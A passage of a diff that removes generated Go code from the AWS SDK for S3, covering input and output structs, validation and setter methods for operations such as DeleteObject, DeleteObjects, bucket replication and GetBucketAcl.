s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketReplicationInput) SetBucket(v string) *DeleteBucketReplicationInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketReplicationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketReplicationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketReplicationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketReplicationOutput) GoString() string { - return s.String() -} - -type DeleteBucketTaggingInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketTaggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketTaggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketTaggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketTaggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketTaggingInput) SetBucket(v string) *DeleteBucketTaggingInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketTaggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketTaggingOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketTaggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketTaggingOutput) GoString() string { - return s.String() -} - -type DeleteBucketWebsiteInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketWebsiteInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketWebsiteInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketWebsiteInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketWebsiteInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketWebsiteInput) SetBucket(v string) *DeleteBucketWebsiteInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketWebsiteInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketWebsiteOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketWebsiteOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketWebsiteOutput) GoString() string { - return s.String() -} - -type DeleteMarkerEntry struct { - _ struct{} `type:"structure"` - - // Specifies whether the object is (true) or is not (false) the latest version - // of an object. - IsLatest *bool `type:"boolean"` - - // The object key. - Key *string `min:"1" type:"string"` - - // Date and time the object was last modified. - LastModified *time.Time `type:"timestamp"` - - Owner *Owner `type:"structure"` - - // Version ID of an object. - VersionId *string `type:"string"` -} - -// String returns the string representation -func (s DeleteMarkerEntry) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteMarkerEntry) GoString() string { - return s.String() -} - -// SetIsLatest sets the IsLatest field's value. -func (s *DeleteMarkerEntry) SetIsLatest(v bool) *DeleteMarkerEntry { - s.IsLatest = &v - return s -} - -// SetKey sets the Key field's value. -func (s *DeleteMarkerEntry) SetKey(v string) *DeleteMarkerEntry { - s.Key = &v - return s -} - -// SetLastModified sets the LastModified field's value. -func (s *DeleteMarkerEntry) SetLastModified(v time.Time) *DeleteMarkerEntry { - s.LastModified = &v - return s -} - -// SetOwner sets the Owner field's value. -func (s *DeleteMarkerEntry) SetOwner(v *Owner) *DeleteMarkerEntry { - s.Owner = v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *DeleteMarkerEntry) SetVersionId(v string) *DeleteMarkerEntry { - s.VersionId = &v - return s -} - -// Specifies whether Amazon S3 should replicate delete makers. -type DeleteMarkerReplication struct { - _ struct{} `type:"structure"` - - // The status of the delete marker replication. - // - // In the current implementation, Amazon S3 doesn't replicate the delete markers. - // The status must be Disabled. - Status *string `type:"string" enum:"DeleteMarkerReplicationStatus"` -} - -// String returns the string representation -func (s DeleteMarkerReplication) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteMarkerReplication) GoString() string { - return s.String() -} - -// SetStatus sets the Status field's value. -func (s *DeleteMarkerReplication) SetStatus(v string) *DeleteMarkerReplication { - s.Status = &v - return s -} - -type DeleteObjectInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Indicates whether S3 Object Lock should bypass Governance-mode restrictions - // to process this operation. - BypassGovernanceRetention *bool `location:"header" locationName:"x-amz-bypass-governance-retention" type:"boolean"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // The concatenation of the authentication device's serial number, a space, - // and the value that is displayed on your authentication device. - MFA *string `location:"header" locationName:"x-amz-mfa" type:"string"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // VersionId used to reference a specific version of the object. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s DeleteObjectInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteObjectInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteObjectInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteObjectInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteObjectInput) SetBucket(v string) *DeleteObjectInput { - s.Bucket = &v - return s -} - -func (s *DeleteObjectInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetBypassGovernanceRetention sets the BypassGovernanceRetention field's value. -func (s *DeleteObjectInput) SetBypassGovernanceRetention(v bool) *DeleteObjectInput { - s.BypassGovernanceRetention = &v - return s -} - -// SetKey sets the Key field's value. -func (s *DeleteObjectInput) SetKey(v string) *DeleteObjectInput { - s.Key = &v - return s -} - -// SetMFA sets the MFA field's value. -func (s *DeleteObjectInput) SetMFA(v string) *DeleteObjectInput { - s.MFA = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *DeleteObjectInput) SetRequestPayer(v string) *DeleteObjectInput { - s.RequestPayer = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *DeleteObjectInput) SetVersionId(v string) *DeleteObjectInput { - s.VersionId = &v - return s -} - -type DeleteObjectOutput struct { - _ struct{} `type:"structure"` - - // Specifies whether the versioned object that was permanently deleted was (true) - // or was not (false) a delete marker. - DeleteMarker *bool `location:"header" locationName:"x-amz-delete-marker" type:"boolean"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // Returns the version ID of the delete marker created as a result of the DELETE - // operation. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s DeleteObjectOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteObjectOutput) GoString() string { - return s.String() -} - -// SetDeleteMarker sets the DeleteMarker field's value. -func (s *DeleteObjectOutput) SetDeleteMarker(v bool) *DeleteObjectOutput { - s.DeleteMarker = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *DeleteObjectOutput) SetRequestCharged(v string) *DeleteObjectOutput { - s.RequestCharged = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *DeleteObjectOutput) SetVersionId(v string) *DeleteObjectOutput { - s.VersionId = &v - return s -} - -type DeleteObjectTaggingInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // The versionId of the object that the tag-set will be removed from. - VersionId *string `location:"querystring" locationName:"versionId" type:"string"` -} - -// String returns the string representation -func (s DeleteObjectTaggingInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteObjectTaggingInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteObjectTaggingInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteObjectTaggingInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteObjectTaggingInput) SetBucket(v string) *DeleteObjectTaggingInput { - s.Bucket = &v - return s -} - -func (s *DeleteObjectTaggingInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *DeleteObjectTaggingInput) SetKey(v string) *DeleteObjectTaggingInput { - s.Key = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *DeleteObjectTaggingInput) SetVersionId(v string) *DeleteObjectTaggingInput { - s.VersionId = &v - return s -} - -type DeleteObjectTaggingOutput struct { - _ struct{} `type:"structure"` - - // The versionId of the object the tag-set was removed from. - VersionId *string `location:"header" locationName:"x-amz-version-id" type:"string"` -} - -// String returns the string representation -func (s DeleteObjectTaggingOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteObjectTaggingOutput) GoString() string { - return s.String() -} - -// SetVersionId sets the VersionId field's value. -func (s *DeleteObjectTaggingOutput) SetVersionId(v string) *DeleteObjectTaggingOutput { - s.VersionId = &v - return s -} - -type DeleteObjectsInput struct { - _ struct{} `type:"structure" payload:"Delete"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Specifies whether you want to delete this object even if it has a Governance-type - // Object Lock in place. You must have sufficient permissions to perform this - // operation. - BypassGovernanceRetention *bool `location:"header" locationName:"x-amz-bypass-governance-retention" type:"boolean"` - - // Delete is a required field - Delete *Delete `locationName:"Delete" type:"structure" required:"true" xmlURI:"http://s3.amazonaws.com/doc/2006-03-01/"` - - // The concatenation of the authentication device's serial number, a space, - // and the value that is displayed on your authentication device. - MFA *string `location:"header" locationName:"x-amz-mfa" type:"string"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` -} - -// String returns the string representation -func (s DeleteObjectsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteObjectsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteObjectsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteObjectsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Delete == nil { - invalidParams.Add(request.NewErrParamRequired("Delete")) - } - if s.Delete != nil { - if err := s.Delete.Validate(); err != nil { - invalidParams.AddNested("Delete", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteObjectsInput) SetBucket(v string) *DeleteObjectsInput { - s.Bucket = &v - return s -} - -func (s *DeleteObjectsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetBypassGovernanceRetention sets the BypassGovernanceRetention field's value. -func (s *DeleteObjectsInput) SetBypassGovernanceRetention(v bool) *DeleteObjectsInput { - s.BypassGovernanceRetention = &v - return s -} - -// SetDelete sets the Delete field's value. -func (s *DeleteObjectsInput) SetDelete(v *Delete) *DeleteObjectsInput { - s.Delete = v - return s -} - -// SetMFA sets the MFA field's value. -func (s *DeleteObjectsInput) SetMFA(v string) *DeleteObjectsInput { - s.MFA = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *DeleteObjectsInput) SetRequestPayer(v string) *DeleteObjectsInput { - s.RequestPayer = &v - return s -} - -type DeleteObjectsOutput struct { - _ struct{} `type:"structure"` - - Deleted []*DeletedObject `type:"list" flattened:"true"` - - Errors []*Error `locationName:"Error" type:"list" flattened:"true"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` -} - -// String returns the string representation -func (s DeleteObjectsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteObjectsOutput) GoString() string { - return s.String() -} - -// SetDeleted sets the Deleted field's value. -func (s *DeleteObjectsOutput) SetDeleted(v []*DeletedObject) *DeleteObjectsOutput { - s.Deleted = v - return s -} - -// SetErrors sets the Errors field's value. -func (s *DeleteObjectsOutput) SetErrors(v []*Error) *DeleteObjectsOutput { - s.Errors = v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *DeleteObjectsOutput) SetRequestCharged(v string) *DeleteObjectsOutput { - s.RequestCharged = &v - return s -} - -type DeletePublicAccessBlockInput struct { - _ struct{} `type:"structure"` - - // The Amazon S3 bucket whose PublicAccessBlock configuration you want to delete. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeletePublicAccessBlockInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeletePublicAccessBlockInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeletePublicAccessBlockInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeletePublicAccessBlockInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeletePublicAccessBlockInput) SetBucket(v string) *DeletePublicAccessBlockInput { - s.Bucket = &v - return s -} - -func (s *DeletePublicAccessBlockInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeletePublicAccessBlockOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeletePublicAccessBlockOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeletePublicAccessBlockOutput) GoString() string { - return s.String() -} - -type DeletedObject struct { - _ struct{} `type:"structure"` - - DeleteMarker *bool `type:"boolean"` - - DeleteMarkerVersionId *string `type:"string"` - - Key *string `min:"1" type:"string"` - - VersionId *string `type:"string"` -} - -// String returns the string representation -func (s DeletedObject) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeletedObject) GoString() string { - return s.String() -} - -// SetDeleteMarker sets the DeleteMarker field's value. -func (s *DeletedObject) SetDeleteMarker(v bool) *DeletedObject { - s.DeleteMarker = &v - return s -} - -// SetDeleteMarkerVersionId sets the DeleteMarkerVersionId field's value. -func (s *DeletedObject) SetDeleteMarkerVersionId(v string) *DeletedObject { - s.DeleteMarkerVersionId = &v - return s -} - -// SetKey sets the Key field's value. -func (s *DeletedObject) SetKey(v string) *DeletedObject { - s.Key = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *DeletedObject) SetVersionId(v string) *DeletedObject { - s.VersionId = &v - return s -} - -// A container for information about the replication destination. -type Destination struct { - _ struct{} `type:"structure"` - - // A container for information about access control for replicas. - // - // Use this element only in a cross-account scenario where source and destination - // bucket owners are not the same to change replica ownership to the AWS account - // that owns the destination bucket. If you don't add this element to the replication - // configuration, the replicas are owned by same AWS account that owns the source - // object. - AccessControlTranslation *AccessControlTranslation `type:"structure"` - - // The account ID of the destination bucket. Currently, Amazon S3 verifies this - // value only if Access Control Translation is enabled. - // - // In a cross-account scenario, if you change replica ownership to the AWS account - // that owns the destination bucket by adding the AccessControlTranslation element, - // this is the account ID of the owner of the destination bucket. - Account *string `type:"string"` - - // The Amazon Resource Name (ARN) of the bucket where you want Amazon S3 to - // store replicas of the object identified by the rule. - // - // If there are multiple rules in your replication configuration, all rules - // must specify the same bucket as the destination. A replication configuration - // can replicate objects to only one destination bucket. - // - // Bucket is a required field - Bucket *string `type:"string" required:"true"` - - // A container that provides information about encryption. If SourceSelectionCriteria - // is specified, you must specify this element. - EncryptionConfiguration *EncryptionConfiguration `type:"structure"` - - // The class of storage used to store the object. By default Amazon S3 uses - // storage class of the source object when creating a replica. - StorageClass *string `type:"string" enum:"StorageClass"` -} - -// String returns the string representation -func (s Destination) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Destination) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Destination) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Destination"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.AccessControlTranslation != nil { - if err := s.AccessControlTranslation.Validate(); err != nil { - invalidParams.AddNested("AccessControlTranslation", err.(request.ErrInvalidParams)) - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetAccessControlTranslation sets the AccessControlTranslation field's value. -func (s *Destination) SetAccessControlTranslation(v *AccessControlTranslation) *Destination { - s.AccessControlTranslation = v - return s -} - -// SetAccount sets the Account field's value. -func (s *Destination) SetAccount(v string) *Destination { - s.Account = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *Destination) SetBucket(v string) *Destination { - s.Bucket = &v - return s -} - -func (s *Destination) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetEncryptionConfiguration sets the EncryptionConfiguration field's value. -func (s *Destination) SetEncryptionConfiguration(v *EncryptionConfiguration) *Destination { - s.EncryptionConfiguration = v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *Destination) SetStorageClass(v string) *Destination { - s.StorageClass = &v - return s -} - -// Describes the server-side encryption that will be applied to the restore -// results. -type Encryption struct { - _ struct{} `type:"structure"` - - // The server-side encryption algorithm used when storing job results in Amazon - // S3 (e.g., AES256, aws:kms). - // - // EncryptionType is a required field - EncryptionType *string `type:"string" required:"true" enum:"ServerSideEncryption"` - - // If the encryption type is aws:kms, this optional value can be used to specify - // the encryption context for the restore results. - KMSContext *string `type:"string"` - - // If the encryption type is aws:kms, this optional value specifies the AWS - // KMS key ID to use for encryption of job results. - KMSKeyId *string `type:"string" sensitive:"true"` -} - -// String returns the string representation -func (s Encryption) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Encryption) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Encryption) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Encryption"} - if s.EncryptionType == nil { - invalidParams.Add(request.NewErrParamRequired("EncryptionType")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetEncryptionType sets the EncryptionType field's value. -func (s *Encryption) SetEncryptionType(v string) *Encryption { - s.EncryptionType = &v - return s -} - -// SetKMSContext sets the KMSContext field's value. -func (s *Encryption) SetKMSContext(v string) *Encryption { - s.KMSContext = &v - return s -} - -// SetKMSKeyId sets the KMSKeyId field's value. -func (s *Encryption) SetKMSKeyId(v string) *Encryption { - s.KMSKeyId = &v - return s -} - -// A container for information about the encryption-based configuration for -// replicas. -type EncryptionConfiguration struct { - _ struct{} `type:"structure"` - - // The ID of the AWS KMS key for the AWS Region where the destination bucket - // resides. Amazon S3 uses this key to encrypt the replica object. - ReplicaKmsKeyID *string `type:"string"` -} - -// String returns the string representation -func (s EncryptionConfiguration) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s EncryptionConfiguration) GoString() string { - return s.String() -} - -// SetReplicaKmsKeyID sets the ReplicaKmsKeyID field's value. -func (s *EncryptionConfiguration) SetReplicaKmsKeyID(v string) *EncryptionConfiguration { - s.ReplicaKmsKeyID = &v - return s -} - -type EndEvent struct { - _ struct{} `locationName:"EndEvent" type:"structure"` -} - -// String returns the string representation -func (s EndEvent) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s EndEvent) GoString() string { - return s.String() -} - -// The EndEvent is and event in the SelectObjectContentEventStream group of events. -func (s *EndEvent) eventSelectObjectContentEventStream() {} - -// UnmarshalEvent unmarshals the EventStream Message into the EndEvent value. -// This method is only used internally within the SDK's EventStream handling. -func (s *EndEvent) UnmarshalEvent( - payloadUnmarshaler protocol.PayloadUnmarshaler, - msg eventstream.Message, -) error { - return nil -} - -type Error struct { - _ struct{} `type:"structure"` - - Code *string `type:"string"` - - Key *string `min:"1" type:"string"` - - Message *string `type:"string"` - - VersionId *string `type:"string"` -} - -// String returns the string representation -func (s Error) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Error) GoString() string { - return s.String() -} - -// SetCode sets the Code field's value. -func (s *Error) SetCode(v string) *Error { - s.Code = &v - return s -} - -// SetKey sets the Key field's value. -func (s *Error) SetKey(v string) *Error { - s.Key = &v - return s -} - -// SetMessage sets the Message field's value. -func (s *Error) SetMessage(v string) *Error { - s.Message = &v - return s -} - -// SetVersionId sets the VersionId field's value. -func (s *Error) SetVersionId(v string) *Error { - s.VersionId = &v - return s -} - -type ErrorDocument struct { - _ struct{} `type:"structure"` - - // The object key name to use when a 4XX class error occurs. - // - // Key is a required field - Key *string `min:"1" type:"string" required:"true"` -} - -// String returns the string representation -func (s ErrorDocument) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s ErrorDocument) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *ErrorDocument) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "ErrorDocument"} - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetKey sets the Key field's value. -func (s *ErrorDocument) SetKey(v string) *ErrorDocument { - s.Key = &v - return s -} - -// A container for a key value pair that defines the criteria for the filter -// rule. -type FilterRule struct { - _ struct{} `type:"structure"` - - // The object key name prefix or suffix identifying one or more objects to which - // the filtering rule applies. The maximum prefix length is 1,024 characters. - // Overlapping prefixes and suffixes are not supported. For more information, - // see Configuring Event Notifications (https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html) - // in the Amazon Simple Storage Service Developer Guide. - Name *string `type:"string" enum:"FilterRuleName"` - - Value *string `type:"string"` -} - -// String returns the string representation -func (s FilterRule) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s FilterRule) GoString() string { - return s.String() -} - -// SetName sets the Name field's value. -func (s *FilterRule) SetName(v string) *FilterRule { - s.Name = &v - return s -} - -// SetValue sets the Value field's value. -func (s *FilterRule) SetValue(v string) *FilterRule { - s.Value = &v - return s -} - -type GetBucketAccelerateConfigurationInput struct { - _ struct{} `type:"structure"` - - // Name of the bucket for which the accelerate configuration is retrieved. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketAccelerateConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketAccelerateConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketAccelerateConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketAccelerateConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketAccelerateConfigurationInput) SetBucket(v string) *GetBucketAccelerateConfigurationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketAccelerateConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketAccelerateConfigurationOutput struct { - _ struct{} `type:"structure"` - - // The accelerate configuration of the bucket. - Status *string `type:"string" enum:"BucketAccelerateStatus"` -} - -// String returns the string representation -func (s GetBucketAccelerateConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketAccelerateConfigurationOutput) GoString() string { - return s.String() -} - -// SetStatus sets the Status field's value. -func (s *GetBucketAccelerateConfigurationOutput) SetStatus(v string) *GetBucketAccelerateConfigurationOutput { - s.Status = &v - return s -} - -type GetBucketAclInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketAclInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketAclInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketAclInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketAclInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketAclInput) SetBucket(v string) *GetBucketAclInput { - s.Bucket = &v - return s -} - -func (s *GetBucketAclInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type GetBucketAclOutput struct { - _ struct{} `type:"structure"` - - // A list of grants. - Grants []*Grant `locationName:"AccessControlList" locationNameList:"Grant" type:"list"` - - Owner *Owner `type:"structure"` -} - -// String returns the string representation -func (s GetBucketAclOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketAclOutput) GoString() string { - return s.String() -} - -// SetGrants sets the Grants field's value. -func (s *GetBucketAclOutput) SetGrants(v []*Grant) *GetBucketAclOutput { - s.Grants = v - return s -} - -// SetOwner sets the Owner field's value. -func (s *GetBucketAclOutput) SetOwner(v *Owner) *GetBucketAclOutput { - s.Owner = v - return s -} - -type GetBucketAnalyticsConfigurationInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket from which an analytics configuration is retrieved. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The identifier used to represent an analytics configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s GetBucketAnalyticsConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s GetBucketAnalyticsConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *GetBucketAnalyticsConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "GetBucketAnalyticsConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *GetBucketAnalyticsConfigurationInput) SetBucket(v string) *GetBucketAnalyticsConfigurationInput { - s.Bucket = &v - return s -} - -func (s *GetBucketAnalyticsConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s 